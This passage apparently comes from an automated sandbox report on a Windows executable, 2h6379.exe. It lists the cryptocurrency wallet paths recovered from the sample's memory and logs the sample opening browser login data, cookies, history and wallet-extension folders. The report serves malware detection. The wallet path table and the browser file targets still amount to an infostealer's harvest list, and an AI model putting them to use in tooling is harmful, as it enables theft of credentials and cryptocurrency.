Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 2h6379.exe, 00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 2h6379.exe	String found in binary or memory: Wallets/Exodus
Source: 2h6379.exe, 00000003.00000003.2076935503.0000000001580000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: 2h6379.exe, 00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 2h6379.exe, 00000003.00000003.2076935503.0000000001580000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 2h6379.exe, 00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 2h6379.exe, 00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 2h6379.exe, 00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 2h6379.exe	String found in binary or memory: keystore
Source: 2h6379.exe, 00000003.00000003.2076935503.0000000001580000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live
Source: 2h6379.exe, 00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
